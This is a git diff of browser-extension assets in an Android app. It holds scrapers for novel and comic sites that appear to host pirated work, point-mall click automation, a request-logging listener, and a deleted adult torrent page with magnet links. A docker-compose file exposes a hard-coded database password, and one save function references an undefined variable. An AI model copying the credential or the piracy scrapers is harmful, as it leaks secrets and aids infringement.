@@ -0,0 +1,42 @@
+<!DOCTYPE html>
+<html lang="ko">
+<head>
+    <meta charset="UTF-8">
+    <style>
+        body { width: 280px; padding: 15px; font-family: 'Malgun Gothic', sans-serif; background: #f9f9f9; }
+        h3 { margin-top: 0; text-align: center; color: #333; }
+        button { width: 100%; padding: 10px; margin-bottom: 8px; cursor: pointer; border: none; border-radius: 6px; font-weight: bold; font-size: 13px; transition: 0.2s; }
+        button:hover { opacity: 0.9; }
+        #btn-save { background: #3498db; color: white; }
+        #btn-download { background: #27ae60; color: white; }
+        #btn-telegram { background: #0088cc; color: white; } /* 텔레그램 시그니처 색상 */
+        #btn-clear { background: #e74c3c; color: white; }
+
+        .tg-config { background: #fff; padding: 10px; border-radius: 6px; margin-bottom: 10px; border: 1px solid #ddd; }
+        .tg-config input { width: 92%; padding: 6px; margin-top: 4px; margin-bottom: 8px; font-size: 11px; border: 1px solid #ccc; border-radius: 4px; }
+        .tg-config label { font-size: 11px; font-weight: bold; color: #555; }
+
+        #status { font-size: 12px; color: #666; text-align: center; margin-top: 5px; padding: 10px; background: #eee; border-radius: 6px; }
+    </style>
+</head>
+<body>
+<h3>📖 소설 스크래퍼</h3>
+
+<div class="tg-config">
+    <label>Bot Token:</label>
+    <input type="password" id="tg-token" placeholder="BotFather에게 받은 토큰">
+    <label>Chat ID:</label>
+    <input type="text" id="tg-chatid" placeholder="숫자로 된 Chat ID">
+    <button id="btn-save-config" style="background:#666; color:#fff; padding:5px; font-size:11px; margin-bottom:0;">⚙️ 텔레그램 설정 저장</button>
+</div>
+
+<button id="btn-save">➕ 현재 화면(챕터) 저장하기</button>
+<button id="btn-download">📥 리더기용 JSON 다운로드</button>
+<button id="btn-telegram">🚀 텔레그램으로 JSON 전송</button>
+<button id="btn-clear">🗑️ 현재 소설 데이터 초기화</button>
+
+<div id="status">대기 중...</div>
+
+<script src="popup.js"></script>
+</body>
+</html>

app/src/main/assets/extensions/my_extension/Novel_Scraper/popup.js

@@ -0,0 +1,267 @@
+document.addEventListener('DOMContentLoaded', () => {
+    updateStatus();
+    loadTelegramConfig();
+
+    // 1. [설정 저장] 버튼
+    document.getElementById('btn-save-config').addEventListener('click', saveTelegramConfig);
+
+    // 2. [저장하기] 버튼
+    // 2. [저장하기] 버튼
+    document.getElementById('btn-save').addEventListener('click', async () => {
+        let [tab] = await chrome.tabs.query({ active: true, currentWindow: true });
+
+        chrome.scripting.executeScript({
+            target: { tabId: tab.id },
+            function: scrapePage
+        }, (results) => {
+            if (results && results[0] && results[0].result) {
+                const data = results[0].result;
+                const match = tab.url ? tab.url.match(/\/novel\/(\d+)\/(\d+)/) : null;
+                const bookId = match ? match[1] : 'manual_' + Date.now();
+                const chapterId = match ? match[2] : 'manual_chap_' + Date.now(); // 챕터 ID 추가
+
+                // chapterId를 같이 넘겨줍니다.
+                saveToExtensionStorage(data, bookId, chapterId);
+            }
+        });
+    });
+
+    // 3. [다운로드] 버튼
+    document.getElementById('btn-download').addEventListener('click', downloadJson);
+
+    // 4. [텔레그램 전송] 버튼
+    document.getElementById('btn-telegram').addEventListener('click', sendToTelegram);
+
+    // 5. [초기화] 버튼
+    document.getElementById('btn-clear').addEventListener('click', clearStorage);
+});
+
+// 텔레그램 설정 불러오기
+function loadTelegramConfig() {
+    chrome.storage.local.get(['tgToken', 'tgChatId'], (result) => {
+        if (result.tgToken) document.getElementById('tg-token').value = result.tgToken;
+        if (result.tgChatId) document.getElementById('tg-chatid').value = result.tgChatId;
+    });
+}
+
+// 텔레그램 설정 저장
+function saveTelegramConfig() {
+    const token = document.getElementById('tg-token').value.trim();
+    const chatId = document.getElementById('tg-chatid').value.trim();
+
+    chrome.storage.local.set({ tgToken: token, tgChatId: chatId }, () => {
+        alert("✅ 텔레그램 설정이 저장 되었습니다!");
+    });
+}
+
+// 🚀 텔레그램 API로 JSON 파일 전송 함수
+function sendToTelegram() {
+    chrome.storage.local.get(['scrapedBooks', 'currentBookId', 'tgToken', 'tgChatId'], async (result) => {
+        const token = result.tgToken;
+        const chatId = result.tgChatId;
+
+        if (!token || !chatId) {
+            alert("⚠️ 먼저 텔레그램 Bot Token과 Chat ID를 설정하고 저장해주세요!");
+            return;
+        }
+
+        const books = result.scrapedBooks || {};
+        const currentBookId = result.currentBookId;
+        const bookData = currentBookId ? books[currentBookId] : null;
+
+        if (!bookData || bookData.chapters.length === 0) {
+            alert("전송할 데이터가 없습니다.");
+            return;
+        }
+
+        // 리더기 포맷 페이로드 생성
+        const payload = {
+            type: 'single_book',
+            book: bookData,
+            progress: { chapter: 0, page: 0, tags: [], memo: "스크래퍼 확장프로그램으로 수집됨", isFavorite: false, isCompleted: false }
+        };
+
+        const jsonString = JSON.stringify(payload, null, 2);
+        const safeFileName = bookData.fileName.replace(/[\\/:*?"<>|]/g, '_');
+
+        // JSON 문자열을 Blob 파일 객체로 변환
+        const blob = new Blob([jsonString], { type: 'application/json' });
+
+        // Multipart FormData 생성 (텔레그램 API 전송용)
+        const formData = new FormData();
+        formData.append('chat_id', chatId);
+        formData.append('document', blob, `book_${safeFileName}.json`);
+        formData.append('caption', `📖 [${bookData.fileName}]\n총 ${bookData.chapters.length}화 수집 완료 JSON 파일입니다.`);
+
+        // 버튼 상태 변경
+        const btnTg = document.getElementById('btn-telegram');
+        btnTg.innerText = "⏳ 전송 중...";
+        btnTg.disabled = true;
+
+        try {
+            // Telegram sendDocument API 호출
+            const response = await fetch(`https://api.telegram.org/bot${token}/sendDocument`, {
+                method: 'POST',
+                body: formData
+            });
+
+            const resData = await response.json();
+
+            if (resData.ok) {
+                alert(`🚀 [${bookData.fileName}] 텔레그램으로 전송 성공!`);
+            } else {
+                alert(`❌ 전송 실패: ${resData.description}`);
+            }
+        } catch (error) {
+            console.error(error);
+            alert("❌ 네트워크 오류가 발생했습니다.");
+        } finally {
+            btnTg.innerText = "🚀 텔레그램으로 JSON 전송";
+            btnTg.disabled = false;
+        }
+    });
+}
+
+// 스크래핑 함수 (수동 저장용)
+function scrapePage() {
+    const titleEl = document.querySelector('.page-title h2');
+    let novelTitle = titleEl ? titleEl.innerText.trim() : '제목없음';
+
+    let chapterTitle = document.querySelector('.theme-novel-title');
+    chapterTitle = chapterTitle ? chapterTitle.innerText.trim() : '1화';
+
+    let novelContent = '';
+    const contentHost = document.querySelector('.theme-novel-content');
+
+    if (contentHost) {
+        if (contentHost.shadowRoot) {
+            const pTags = contentHost.shadowRoot.querySelectorAll('p');
+            const textArray = Array.from(pTags).map(p => p.innerText.trim());
+            novelContent = textArray.join('\n\n');
+        } else {
+            const template = contentHost.querySelector('template[shadowrootmode="open"]');
+            if (template && template.content) {
+                const pTags = template.content.querySelectorAll('p');
+                const textArray = Array.from(pTags).map(p => p.textContent.trim());
+                novelContent = textArray.join('\n\n');
+            }
+        }
+    }
+
+    if (!novelContent) {
+        alert('본문을 추출할 수 없습니다.');
+        return null;
+    }
+
+    return {
+        novelTitle: novelTitle,
+        chapterTitle: chapterTitle,
+        content: novelContent
+    };
+}
+
+// 수동 저장 함수
+function saveToExtensionStorage(scrapedData, bookId) {
+    chrome.storage.local.get(['scrapedBooks'], (result) => {
+        let scrapedBooks = result.scrapedBooks || {};
+
+        if (!scrapedBooks[bookId]) {
+            scrapedBooks[bookId] = {
+                id: 'book_' + bookId,
+                fileName: scrapedData.novelTitle,
+                chapters: []
+            };
+        }
+
+        let bookData = scrapedBooks[bookId];
+
+        // 챕터 ID 기준으로 중복 검사
+        const isDuplicate = bookData.chapters.some(chap => chap.chapterId === chapterId);
+        if (isDuplicate) {
+            alert('⚠️ 이미 저장된 챕터입니다!');
+            return;
+        }
+
+        bookData.chapters.push({
+            chapterId: chapterId,
+            title: scrapedData.chapterTitle,
+            content: scrapedData.content
+        });
+        scrapedBooks[bookId] = bookData;
+
+        chrome.storage.local.set({ scrapedBooks: scrapedBooks, currentBookId: bookId }, () => {
+            updateStatus();
+            alert(`✅ [${scrapedData.chapterTitle}] 저장 완료!`);
+        });
+    });
+}
+
+// 다운로드 함수
+function downloadJson() {
+    chrome.storage.local.get(['scrapedBooks', 'currentBookId'], (result) => {
+        const books = result.scrapedBooks || {};
+        const currentBookId = result.currentBookId;
+        const bookData = currentBookId ? books[currentBookId] : null;
+
+        if (!bookData || bookData.chapters.length === 0) {
+            alert("다운로드할 데이터가 없습니다.");
+            return;
+        }
+
+        const payload = {
+            type: 'single_book',
+            book: bookData,
+            progress: { chapter: 0, page: 0, tags: [], memo: "스크래퍼 확장프로그램으로 수집됨", isFavorite: false, isCompleted: false }
+        };
+
+        const jsonString = JSON.stringify(payload, null, 2);
+        const blob = new Blob([jsonString], { type: 'application/json' });
+        const url = URL.createObjectURL(blob);
+
+        const safeFileName = bookData.fileName.replace(/[\\/:*?"<>|]/g, '_');
+
+        chrome.downloads.download({
+            url: url,
+            filename: `book_${safeFileName}.json`,
+            saveAs: true
+        });
+    });
+}
+
+// 초기화 함수
+function clearStorage() {
+    chrome.storage.local.get(['scrapedBooks', 'currentBookId'], (result) => {
+        const books = result.scrapedBooks || {};
+        const currentBookId = result.currentBookId;
+
+        if (!currentBookId || !books[currentBookId]) {
+            alert("삭제할 수집 데이터가 없습니다.");
+            return;
+        }
+
+        const bookTitle = books[currentBookId].fileName;
+        if(confirm(`[${bookTitle}] 수집 데이터를 삭제하시겠습니까?`)) {
+            delete books[currentBookId];
+            chrome.storage.local.set({ scrapedBooks: books, currentBookId: null }, () => {
+                updateStatus();
+            });
+        }
+    });
+}
+
+// 상태창 업데이트
+function updateStatus() {
+    chrome.storage.local.get(['scrapedBooks', 'currentBookId'], (result) => {
+        const books = result.scrapedBooks || {};
+        const currentBookId = result.currentBookId;
+        const book = currentBookId ? books[currentBookId] : null;
+
+        const count = book ? book.chapters.length : 0;
+        const title = book ? book.fileName : '없음';
+
+        document.getElementById('status').innerHTML = `
+            <strong>현재 선택 소설:</strong> ${title}<br>
+            <strong style="color:#27ae60; font-size:14px;">모인 챕터: ${count}화</strong>
+        `;
+    });
+}

app/src/main/assets/extensions/my_extension/adfskldfslkjdfs.js

@@ -0,0 +1,120 @@
+(function() {
+    var retryCount = 0;
+    var maxRetries = 2;
+
+    function tryExtract() {
+        try {
+            const newUrl = window.location.origin + window.location.pathname;
+            const hostname = window.location.hostname;
+            const contentsType = hostname.includes("book") ? "booktoki" :
+                hostname.includes("mana") ? "manatoki" :
+                    hostname.includes("new") ? "newtoki" : "web";
+
+            // 1. 목차(List) 감지 로직
+            const listBody = document.querySelector(".list-body");
+            const novelContent = document.querySelector("#novel_content");
+
+            // [중요] 두 핵심 요소가 모두 없으면 재시도 결정
+            if (!listBody && !novelContent) {
+                if (retryCount < maxRetries) {
+                    retryCount++;
+                    console.log("DEBUG_LOG: [JS] 요소를 찾지 못해 재시도 중... (" + retryCount + ")");
+                    setTimeout(tryExtract, 500); // 0.5초 후 다시 실행
+                    return;
+                } else {
+                    console.log("DEBUG_LOG: [JS] 최대 재시도 횟수 초과");
+                    window.webkit.messageHandlers.ContentsRcv.postMessage(JSON.stringify({
+                        'type': 'JP',
+                        'currentUrl' : newUrl
+                    }));
+                }
+                return;
+            }
+
+            // --- 1. 목차 추출 실행 ---
+            if (listBody !== null) {
+                const contentsArray = [];
+                const children = listBody.children;
+                const bookTitleEl = document.querySelector('.view-title span');
+                const bookTitle = bookTitleEl ? bookTitleEl.innerText.trim() : "Unknown";
+                const pagination = document.querySelector(".pagination");
+                let nextPagingUrl = null;
+
+                if (pagination) {
+                    const activeLi = pagination.querySelector("li.active");
+                    if (activeLi && activeLi.nextElementSibling) {
+                        const nextA = activeLi.nextElementSibling.querySelector("a");
+                        // 다음 엘리먼트가 존재하고, 'disabled' 클래스가 없으며, href가 있는 경우
+                        if (nextA && nextA.href && !activeLi.nextElementSibling.classList.contains("disabled")) {
+                            nextPagingUrl = nextA.href;
+                        }
+                    }
+                }
+        
+                for (let i = 0; i < children.length; i++) {
+                    try {
+                        const wrNumEl = children[i].getElementsByClassName('wr-num')[0];
+                        const wrSubjectA = children[i].getElementsByClassName('wr-subject')[0]?.getElementsByTagName('a')[0];
+                        if (!wrNumEl || !wrSubjectA) continue;
+
+                        let pageUrl = new URL(wrSubjectA.href, window.location.origin).pathname;
+                        let paths = pageUrl.split('/').filter(p => p);
+                        if (paths.length > 0) {
+                            var lastPart = paths[paths.length - 1];
+                            var isOnlyNumber = lastPart && Array.from(lastPart).every(ch => ch >= '0' && ch <= '9');
+                            if (!isOnlyNumber) paths.pop();
+                        }
+                        pageUrl = "/" + paths.join('/');
+
+                        contentsArray.push({
+                            'chapterID': parseInt(wrNumEl.textContent.replace(/[^0-9]/g, "")),
+                            'chapterNum': parseInt(wrNumEl.textContent.replace(/[^0-9]/g, "")),
+                            'pathUrl': pageUrl,
+                            'contentsType': contentsType,
+                            'bookPageUrl': window.location.pathname,
+                            'chapterTitle': wrSubjectA.innerText.split('\n').pop().trim(),
+                            'bookTitle': bookTitle,
+                            'currentUrl' : newUrl
+                        });
+                    } catch (e) {}
+                }
+
+                if (contentsArray.length > 0) {
+                    window.webkit.messageHandlers.ContentsRcv.postMessage(JSON.stringify({
+                        'type': 'getListResult',
+                        'contentsType': contentsType,
+                        'bookTitle': bookTitle,
+                        'bookPageUrl': window.location.pathname,
+                        'pages': contentsArray,
+                        'currentUrl' : newUrl,
+                        'nextPagingUrl': nextPagingUrl
+                    }));
+                    return; // 전송 성공 시 종료
+                }
+            }
+
+            // --- 2. 본문 추출 실행 ---
+            if (novelContent !== null) {
+                const titleEl = document.querySelector(".page-desc");
+                const chapterTitle = titleEl ? titleEl.innerText.trim() : "";
+                const contents = novelContent.innerText.trim();
+
+
+                if (contents.length > 100) {
+                    window.webkit.messageHandlers.ContentsRcv.postMessage(JSON.stringify({
+                        'type': 'BookContents',
+                        'chapterTitle': chapterTitle,
+                        'bookContents': contents,
+                        'pageUrl' : window.location.pathname,
+                        'currentUrl' : newUrl
+                    }));
+                }
+            }
+        } catch (e) {
+            console.log("Unified Script Error: " + e);
+        }
+    }
+
+    // 최초 실행
+    tryExtract();
+})();

app/src/main/assets/extensions/my_extension/background.js

@@ -62,4 +62,14 @@
 ////    // 앱으로 오류 신호 전달
 ////    browser.runtime.sendMessage({ type: 'RELOAD_REQUEST' });
 ////  }
-////});
+////});
+
+browser.webRequest.onBeforeRequest.addListener(
+  function(details) {
+    console.log("Request intercepted for URL:", details.url);
+    // 이 예시는 단순히 로그를 남기므로 요청을 변경하거나 차단하지 않음
+    return {};
+  },
+  {urls: ["<all_urls>"]}, // 모든 URL에 대해 요청 듣기
+  []
+);

app/src/main/assets/extensions/my_extension/bookget.js

@@ -0,0 +1,85 @@
+// ==========================================
+// 1. 챕터를 로컬 스토리지에 누적 저장하는 함수
+// ==========================================
+function saveChapterToLocal(bookTitle, chapterTitle, chapterContent) {
+    const STORAGE_KEY = 'webReader_scraper_temp';
+    let bookData = JSON.parse(localStorage.getItem(STORAGE_KEY));
+
+    // 기존 데이터가 없거나, 다른 책을 스크랩하기 시작한 경우 초기화
+    if (!bookData || bookData.fileName !== bookTitle) {
+        bookData = {
+            id: 'book_scraped_' + Date.now(), // 고유 ID 생성
+            fileName: bookTitle,
+            chapters: []
+        };
+        console.log(`새로운 책 [${bookTitle}] 스크랩을 시작합니다.`);
+    }
+
+    // 중복 저장 방지 로직 (동일한 챕터 제목이 있는지 검사)
+    const isDuplicate = bookData.chapters.some(chap => chap.title === chapterTitle);
+    if (isDuplicate) {
+        console.warn(`⚠️ 이미 저장된 챕터입니다: ${chapterTitle}`);
+        return false;
+    }
+
+    // 챕터 데이터 추가
+    bookData.chapters.push({
+        title: chapterTitle,
+        content: chapterContent
+    });
+
+    // 변경된 데이터를 다시 스토리지에 저장
+    localStorage.setItem(STORAGE_KEY, JSON.stringify(bookData));
+    console.log(`✅ [${bookTitle}] ${chapterTitle} 저장 완료! (현재 총 ${bookData.chapters.length}화)`);
+    return true;
+}
+
+// ==========================================
+// 2. 누적된 데이터를 리더기 호환 JSON으로 다운로드하는 함수
+// ==========================================
+function downloadBookAsJson() {
+    const STORAGE_KEY = 'webReader_scraper_temp';
+    const bookData = JSON.parse(localStorage.getItem(STORAGE_KEY));
+
+    if (!bookData || !bookData.chapters || bookData.chapters.length === 0) {
+        alert("다운로드할 챕터 데이터가 없습니다. 먼저 챕터를 저장해주세요.");
+        return;
+    }
+
+    // ★ 리더기의 '개별 책 복원' 형식과 완벽히 일치하도록 페이로드 구성
+    const payload = {
+        type: 'single_book',
+        book: bookData,
+        progress: {
+            chapter: 0,
+            page: 0,
+            tags: [], // 리더기에서 불러올 때 재분석 기능으로 태그를 달 수 있습니다.
+            memo: "스크랩을 통해 추가된 소설입니다.",
+            isFavorite: false,
+            isCompleted: false
+        }
+    };
+
+    // JSON 파일로 변환 및 다운로드 처리
+    const jsonString = JSON.stringify(payload, null, 2);
+    const blob = new Blob([jsonString], { type: 'application/json' });
+    const url = URL.createObjectURL(blob);
+
+    const a = document.createElement('a');
+    a.href = url;
+
+    // 파일명에 사용할 수 없는 특수문자 제거
+    const safeFileName = bookData.fileName.replace(/[\\/:*?"<>|]/g, '_');
+    a.download = `book_${safeFileName}.json`;
+
+    document.body.appendChild(a);
+    a.click();
+    document.body.removeChild(a);
+    URL.revokeObjectURL(url);
+
+    // 다운로드 후 임시 데이터 정리
+    if (confirm("파일 다운로드가 완료되었습니다.\n다음 스크랩을 위해 임시 저장된 데이터를 초기화할까요?")) {
+        localStorage.removeItem(STORAGE_KEY);
+        console.log("임시 데이터가 초기화되었습니다.");
+    }
+}

app/src/main/assets/extensions/my_extension/dddd.json

@@ -0,0 +1,38 @@
+{
+  sequences: {
+    "www.nhmembers.co.kr/nhaob": [".btn-direct-menu"],
+    "multicon.co.kr/couponMall/order/info":[
+      { target: () => document.querySelector(".point_inquiry").click(), wait: 5000 },
+      { action: () => {
+        if(document.querySelector(".result_point").innerText.split("P")[0] > 0) {
+        location.href = "${NH_DOMAIN + APP_LOG}"
+      }
+    }, wait: 15000 },
+    ],
+    "multicon.co.kr/couponMall/goodsDetail":[
+      { target: () => document.querySelector(".grey_btn").click(), wait: 5000 }
+    ],
+    "multicon.co.kr/couponMall/main":[
+      { target: () => document.querySelector(".product").parentElement.click(), wait: 5000 }
+    ],
+    "example.com/login": [
+      // 1. [순수 함수] 아이디 입력 (실행 후 바로 다음 스텝으로)
+      { action: () => { document.querySelector(".userid-input").value = "test_id"; } },
+
+      // 2. [순수 함수 + 대기] 비밀번호 입력 후 1초 대기
+      {
+        action: () => { document.querySelector(".password-input").value = "1234!!"; },
+      wait: 1000
+      },
+
+      // 3. [클릭 액션] 로그인 버튼 클릭 (기존 방식들 모두 호환됨)
+      "#login-btn",
+      { target: () => document.getElementById("confirm-modal"), wait: 2000 }
+    ],
+    "mysite.com/survey": ["input[value='yes']", "button.next-step"],
+  },
+  blacklist: {
+    "any": ["logout", "delete", "remove", "exit","header__prev main_header"],
+    "runcomm.co.kr": [".adpot_inquiry", ",btn_com1", "닫기"]
+  }
+}

app/src/main/assets/extensions/my_extension/demo.js

@@ -83,4 +83,23 @@ function check2()  {
         }
     }
 }
-check2();
+check2();
+
+fetch("https://dv-m.nhmembers.co.kr/nhpot/common/saveCertInf.ajax",{
+method: "POST",
+headers: {
+    "Content-Type": "application/x-www-form-urlencoded",
+}
+})
+
+if (document.querySelectorAll('[class^="w-full flex"]').length > 1) {
+    document.querySelectorAll('[class^="w-full flex"]').forEach(function (e) {
+
+
+        var description = ""
+        if(e.querySelector('[class^="pb-2 w-100 text-gray-500"]')){
+            description = e.querySelector('[class^="pb-2 w-100 text-gray-500"]').textContent.replace(/\s+/g, ' ').trim();
+        }
+        console.log(description)
+    })
+}

app/src/main/assets/extensions/my_extension/docker-compose.yml

@@ -0,0 +1,13 @@
+version: '3'
+services:
+  couchdb:
+    image: couchdb:latest
+    container_name: couchdb
+    restart: always
+    ports:
+      - "5984:5984"  # 외부접근: 5984포트
+    environment:
+      - COUCHDB_USER=obsidian
+      - COUCHDB_PASSWORD=HiVi88131921
+    volumes:
+      - ./data:/opt/couchdb/data

app/src/main/assets/extensions/my_extension/fdfdfdf.html

@@ -1,93 +1 @@
-video-item ::> <div class="img-area">
-    <table>
-        <tbody>
-        <tr>
-            <td><a onclick="sendEvent('Cover Click','Main List Movie','201882')" href="/movie/ipzz-574-201882" data-link="https://images.ijavtorrent.com/data/covers/201882.jpg"> <img sizes="
-                                                                                                                                        (max-width: 1536px) 480px,
-                                                                                                                                        (max-width: 1920px) 620px,
-                                                                                                                                        (min-width: 1921px) 800px,
-                                                                                                                                     " src="https://images.ijavtorrent.com/data/covers/201882.jpg" alt="IPZZ-574 I Didn't Know About My Wife's Twisted Sexual Habits... My Beloved Wife, Who Is Usually Kind, Was A Masochistic Slave Trained By A Sadistic Neighbor. Kana Momonogi" title="IPZZ-574 I Didn't Know About My Wife's Twisted Sexual Habits... My Beloved Wife, Who Is Usually Kind, Was A Masochistic Slave Trained By A Sadistic Neighbor. Kana Momonogi" class="lazy mw-100" style="" srcset="
-                                                                                                                                            https://images.ijavtorrent.com/data/covers/201882.jpg?width=480 480w,
-                                                                                                                                            https://images.ijavtorrent.com/data/covers/201882.jpg?width=620 620w,
-                                                                                                                                            https://images.ijavtorrent.com/data/covers/201882.jpg?width=800 800w,
-                                                                                                                                            "> </a></td>
-        </tr>
-        </tbody>
-    </table>
-</div>
-<div class="name">
-    <a onclick="sendEvent('movie-click','Main List Movie','201882')" href="/movie/ipzz-574-201882"> <span>ipzz-574 i didn't know about my wife's twisted sexual habits... my beloved wife, who is usually kind, was a masochistic slave trained by a sadistic neighbor. kana momonogi</span> </a>
-</div>
-<div class="mb-2">
-    <a onclick="sendEvent('movie-click','Main List Movie','201882')" href="/movie/ipzz-574-201882"> 08/07/2025 </a> | <i class="fas fa-eye"></i> <span class="pageview-value">4260</span> | <i class="fa fa-fw fa-download"></i> <span class="download-value">2602</span>
-</div>
-<div class="mb-1">
-    <div class="badge badge-info" data-toggle="popover" data-html="true" data-content="<div><img src='https://images.ijavtorrent.com/data/actresses/451.jpg?v=772750732' alt='Kana Momonogi' style='width: 150px; height: 150px;'></div>" data-original-title="" title="">
-        <a href="/actress/kana-momonogi-451"> <i class="fas fa-info"></i> Kana Momonogi </a> <img src="https://images.ijavtorrent.com/data/actresses/451.jpg?v=772750732" class="d-none">
-    </div>
-</div>
-<div>
-    <div class="badge badge-warning">
-        <a href="/?editorrate=6"><i class="fab fa-hotjar"></i> 6</a>
-    </div>
-    <div class="badge badge-warning">
-        <a href="/tag/top-5-daily-2483">Top 5 Daily</a>
-    </div>
-    <div class="badge badge-secondary">
-        <a href="/tag/cuckold-112">Cuckold</a>
-    </div>
-    <div class="badge badge-secondary">
-        <a href="/tag/nasty-hardcore-85">Nasty, Hardcore</a>
-    </div>
-    <div class="badge badge-secondary">
-        <a href="/tag/sm-95">SM</a>
-    </div>
-    <div class="badge badge-secondary">
-        <a href="/tag/solowork-1">Solowork</a>
-    </div>
-    <div class="badge badge-secondary">
-        <a href="/tag/married-woman-19">Married Woman</a>
-    </div>
-</div>
-<div class="text-right">
-    <div class="btn btn-sm btn-warning">
-        <a onclick="sendEvent('Screenshot-Click','Main List Movie','201882')" href="https://images.ijavtorrent.com/data/screenshots/201882.jpg" data-featherlight="image" target="_blank"> <i class="far fa-images"></i> Screenshot </a>
-    </div>
-    <div class="btn btn-sm btn-outline-primary movie-like-button" data-movie-id="201882">
-        <i class="fas fa-heart"></i> <span class="like-value">0</span>
-    </div>
-</div>
-<table class="table table-sm mt-2">
-    <tbody>
-    <tr style="vertical-align: middle">
-        2025-07-23 11:22:20.062 26023-26023 Lunatic                 bums.lunatic.launcher                E     <td><a onclick="sendEvent('Torrent Click','Main List Movie','201882')" href="/download/463171" rel="nofollow" class="download-click-track"><i class="fa fa-fw fa-download"></i> Download</a> <a onclick="sendEvent('Magnet Click','Main List Movie','201882')" href="magnet:?xt=urn:btih:8c64238f2bfd260a6793b3b8ec97aad93e4d1dd8&amp;amp;dn=IPZZ-574%E3%80%90%E7%A0%B4%E5%A3%8A%E7%89%88%E3%80%91%E4%BF%BA%E3%81%AE%E7%9F%A5%E3%82%89%E3%81%AA%E3%81%84%E5%A6%BB%E3%81%AE%E6%AD%AA%E3%82%93%E3%81%A0%E6%80%A7%E7%99%96%E2%80%A6%20%E6%99%AE%E6%AE%B5%E5%84%AA%E3%81%97%E3%81%84%E6%9C%80%E6%84%9B%E3%81%AE%E5%A6%BB%E3%81%AF%E3%83%89S%E9%9A%A3%E4%BA%BA%E3%81%AB%E8%AA%BF%E6%95%99%E6%B8%88%E3%81%AE%E3%83%9E%E3%82%BE%E5%A5%B4%E2%97%8F%E3%81%A7%E3%81%97%E3%81%9F%E3%80%82%20%E6%A1%83%E4%B9%83%E6%9C%A8%E3%81%8B%E3%81%AA&amp;amp;tr=http%3A%2F%2Fsukebei.tracker.wf%3A8888%2Fannounce&amp;amp;tr=udp%3A%2F%2Fopen.stealth.si%3A80%2Fannounce&amp;amp;tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337%2Fannounce&amp;amp;tr=udp%3A%2F%2Fexodus.desync.com%3A6969%2Fannounce&amp;amp;tr=udp%3A%2F%2Ftracker.torrent.eu.org%3A451%2Fannounce" rel="nofollow" class="magnet-click-track"><i class="fa fa-fw fa-magnet" rel="nofollow"></i> Magnet</a></td>
-        <td><i class="fas fa-weight-hanging"></i> 3.4gb</td>
-        <td><strong>S:</strong> 41</td>
-        <td><strong>L:</strong> 667</td>
-        <td><i class="far fa-calendar-alt"></i> 23/07/25</td>
-        <td><span class="badge badge-info">Decen</span></td>
-    </tr>
-    <tr style="vertical-align: middle">
-        <td><a onclick="sendEvent('Torrent Click','Main List Movie','201882')" href="/download/459739" rel="nofollow" class="download-click-track"><i class="fa fa-fw fa-download"></i> Download</a> <a onclick="sendEvent('Magnet Click','Main List Movie','201882')" href="magnet:?xt=urn:btih:6a020162885ec725961eeca6ccb15153586f09d3&amp;amp;dn=%5BHD%2F720p%5D%20IPZZ-574%20%E4%BF%BA%E3%81%AE%E7%9F%A5%E3%82%89%E3%81%AA%E3%81%84%E5%A6%BB%E3%81%AE%E6%AD%AA%E3%82%93%E3%81%A0%E6%80%A7%E7%99%96%E2%80%A6%20%E6%99%AE%E6%AE%B5%E5%84%AA%E3%81%97%E3%81%84%E6%9C%80%E6%84%9B%E3%81%AE%E5%A6%BB%E3%81%AF%E3%83%89S%E9%9A%A3%E4%BA%BA%E3%81%AB%E8%AA%BF%E6%95%99%E6%B8%88%E3%81%AE%E3%83%9E%E3%82%BE%E5%A5%B4%E2%97%8F%E3%81%A7%E3%81%97%E3%81%9F%E3%80%82%20%E6%A1%83%E4%B9%83%E6%9C%A8%E3%81%8B%E3%81%AA&amp;amp;tr=http%3A%2F%2Fsukebei.tracker.wf%3A8888%2Fannounce&amp;amp;tr=udp%3A%2F%2Fopen.stealth.si%3A80%2Fannounce&amp;amp;tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337%2Fannounce&amp;amp;tr=udp%3A%2F%2Fexodus.desync.com%3A6969%2Fannounce&amp;amp;tr=udp%3A%2F%2Ftracker.torrent.eu.org%3A451%2Fannounce" rel="nofollow" class="magnet-click-track"><i class="fa fa-fw fa-magnet" rel="nofollow"></i> Magnet</a></td>
-        <td><i class="fas fa-weight-hanging"></i> 1.3gb</td>
-        <td><strong>S:</strong> 30</td>
-        <td><strong>L:</strong> 6</td>
-        <td><i class="far fa-calendar-alt"></i> 22/07/25</td>
-    </tr>
-    <tr style="vertical-align: middle">
-        2025-07-23 11:22:20.062 26023-26023 Lunatic                 bums.lunatic.launcher                E     <td><a onclick="sendEvent('Torrent Click','Main List Movie','201882')" href="/download/460809" rel="nofollow" class="download-click-track"><i class="fa fa-fw fa-download"></i> Download</a> <a onclick="sendEvent('Magnet Click','Main List Movie','201882')" href="magnet:?xt=urn:btih:cb582ed50fb3d342c2c668d2a33f7b143e1f1b03&amp;amp;dn=%2B%2B%2B%20%5BFHDC%5D%20IPZZ-574%20%E4%BF%BA%E3%81%AE%E7%9F%A5%E3%82%89%E3%81%AA%E3%81%84%E5%A6%BB%E3%81%AE%E6%AD%AA%E3%82%93%E3%81%A0%E6%80%A7%E7%99%96%E2%80%A6%20%E6%99%AE%E6%AE%B5%E5%84%AA%E3%81%97%E3%81%84%E6%9C%80%E6%84%9B%E3%81%AE%E5%A6%BB%E3%81%AF%E3%83%89S%E9%9A%A3%E4%BA%BA%E3%81%AB%E8%AA%BF%E6%95%99%E6%B8%88%E3%81%AE%E3%83%9E%E3%82%BE%E5%A5%B4%E2%97%8F%E3%81%A7%E3%81%97%E3%81%9F%E3%80%82%20%E6%A1%83%E4%B9%83%E6%9C%A8%E3%81%8B%E3%81%AA&amp;amp;tr=http%3A%2F%2Fsukebei.tracker.wf%3A8888%2Fannounce&amp;amp;tr=udp%3A%2F%2Fopen.stealth.si%3A80%2Fannounce&amp;amp;tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337%2Fannounce&amp;amp;tr=udp%3A%2F%2Fexodus.desync.com%3A6969%2Fannounce&amp;amp;tr=udp%3A%2F%2Ftracker.torrent.eu.org%3A451%2Fannounce" rel="nofollow" class="magnet-click-track"><i class="fa fa-fw fa-magnet" rel="nofollow"></i> Magnet</a></td>
-        <td><i class="fas fa-weight-hanging"></i> 5.3gb</td>
-        <td><strong>S:</strong> 60</td>
-        <td><strong>L:</strong> 23</td>
-        <td><i class="far fa-calendar-alt"></i> 22/07/25</td>
-    </tr>
-    <tr>
-        <td colspan="5">
-            <div class="text-right">
-                <a href="/movie/ipzz-574-201882"> more torrents &gt;&gt; </a>
-            </div></td>
